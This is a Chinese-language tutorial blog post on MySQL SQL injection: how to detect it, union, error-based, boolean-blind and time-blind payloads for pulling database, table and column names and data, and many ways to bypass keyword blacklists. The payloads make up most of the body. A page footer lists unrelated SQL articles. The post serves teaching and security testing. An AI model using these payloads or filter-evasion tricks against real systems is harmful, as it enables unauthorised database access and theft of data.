首页 > 数据库 >SQL注入原理及步骤以及黑名单绕过方式

SQL注入原理及步骤以及黑名单绕过方式

时间:2024-04-01 20:02:35浏览次数:30  
标签:url 黑名单 报错 SQL 绕过 盲注 select schema

原理

mysql5.0以上的版本存在一个information_schema数据库,information_schema数据库包含3个表如下:

步骤

判断是否存在sql注入:

分别输入不同的id值:

——有结果:1’and 1=1#

——无结果:1’and 1=2#

——出错:1'

——正常:1''(两个单引号)

换成双引号同理。

判断查询结果有多少列:

——1’order by 1#(不报错)

——1’order by 2#(不报错)

——1’order by 3#(不报错)

——1’order by 4#(报错)

——这就说明结果有3列。

选择注入方式:

联合注入(union)、报错注入(extractvalue、updatexml)、布尔盲注(当回显只能判断对错的时候用)、时间盲注(布尔盲注的升级版,没有回显或者回显判断不了对错的时候用,根据页面的反馈时间来判断对错)。

获取数据库名:

联合注入:-1’union select 1,database(),3#

报错注入:'and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

布尔盲注:1' and ascii(substr((select database()),1,1))=115--+

时间盲注:1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)--+

获取表名:

-1’union select 1,(select table_name from information_schema.tables where table_schema=’数据库名’limit 0,1),3#

也可以不用limit,表示从哪一列开始,取多少列。

获取列名:

-1’union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’),3#

获取列中数据:

-1’ union select 1,(select 列名 from 表名 limit 0,1),3#

黑名单绕过

空格绕过:

/**/(/的url编码为%2f,*的url编码为%2a)

() ——例如:select(1),2,3;(括号的url编码为%28、%29)

回车(url编码为%0a)

`(url编码为%60)

tab(url编码为%09(水平)、%0b(垂直))

大小写绕过

双写关键字绕过

绕过and和or和=:

and可以用%26%26替代,也可以用&&表示。

or可以用||表示。

=可以用like代替。

函数名绕过:

sleep()可以改为benchmark()。

ascii()可以改为ord()。

逗号绕过:

select substr('abc',1,1);

可以改为:select substr('abc' from 1 for 1);

select 1,2,3;

可以改为:select * from (select 1)a join (select 2)b join (select 3)c;

select * from users limit 0,1;

可以改为:select * from users limit 1 offset 0;

标签:url,黑名单,报错,SQL,绕过,盲注,select,schema
From: https://blog.csdn.net/lxz021202/article/details/137216928

相关文章

  • SQL SERVER 日期和时间数据类型及函数 (Transact-SQL)
    declare@time1datetime=getdate()--代码declare@time2datetime=getdate()SELECTDATEDIFF(year,@TIME1,@TIME2);SELECTDATEDIFF(quarter,@TIME1,@TIME2);SELECTDATEDIFF(month,@TIME1,@TIME2);SELECTDATEDIFF(dayofyear,@TIME1,@TIME2);SE......
  • Linux 安装 Mysql(Docker)
    Linux安装Mysql以下操作在root用户下否则加上sudodockerpullmysql:5.7注意容器名字如果有-会错误dockerrun-p3306:3306--namemysql_gulishangcheng\-v/mydata/mysql/log:/var/log/mysql\-v/mydata/mysql/data:/var/lib/mysql\-v/mydata/mysql/con......
  • java计算机毕业设计(附源码)医患辅助系统(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:随着信息技术的飞速发展,医疗健康领域正经历着前所未有的变革。传统的医患交流模式受限于时间和空间,难以满足现代社会对医疗服务效率和质量的要求。医患辅......
  • java计算机毕业设计(附源码)医疗大数据系统(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:医疗大数据系统是近年来在医疗领域内兴起的一个重要研究方向,它利用现代信息技术手段,对海量的医疗健康数据进行采集、存储、管理和分析,以期提供更为精准、......
  • SQL SERVER 从入门到精通 第5版 第二篇 第6章 SQL函数的使用 读书笔记
     第六章SQL函数的使用按函数种类可以分为聚合函数,数学函数,字符串函数,日期和时间函数,转换函数和元数据函数6种.>.聚合函数. 聚合函数对一组值执行计算,并返回单个值.除count外,聚合函数都会忽略空值.通常与SELECT语句的GROUPBY子句一起......
  • python计算机毕设【附源码】毕业生离校系统的设计与实现(django+mysql+论文)
    本系统(程序+源码)带文档lw万字以上  文末可获取本课题的源码和程序系统程序文件列表系统的选题背景和意义选题背景:随着互联网技术的飞速发展,信息化管理已经成为了现代教育体系中不可或缺的一部分。对于高校而言,毕业生离校系统的设计与实现是提高学校管理效率、优化毕业生......
  • SqlServer事务语法及使用方法
    原文链接:https://blog.csdn.net/xiaouncle/article/details/52891563事务是关于原子性的。原子性的概念是指可以把一些事情当做一个不可分割的单元来看待。从数据库的角度看,它是指应全部执行或全部不执行的一条或多条语句的最小组合。可以使用一些T-SQL语句在事务中“标记”这些......
  • 【NoSQL】SpringBoot+Redis简单使用
    【NoSQL】SpringBoot+Redis简单使用Redis是一款key-value存储结构的内存级NoSQL数据库;支持多种数据存储格式、支持持久化、支持集群windows下载:https://github.com/tporadowski/redis/releases<dependency><groupId>org.springframework.boot</groupId><artifactId......
  • java计算机毕业设计(附源码)一起捞餐厅点餐和管理系统(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:在现代都市的快节奏生活中,餐饮业作为人们日常消费的重要组成部分,扮演着至关重要的角色。随着科技的不断进步和消费者需求的多样化,传统的餐饮服务方式已经......
  • java计算机毕业设计(附源码)一校置之系统的开发实现(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:在信息化时代背景下,教育行业正经历着前所未有的变革。传统的教育管理方式已无法满足现代高效、精准的管理需求。随着计算机技术和互联网的发展,一校置之系......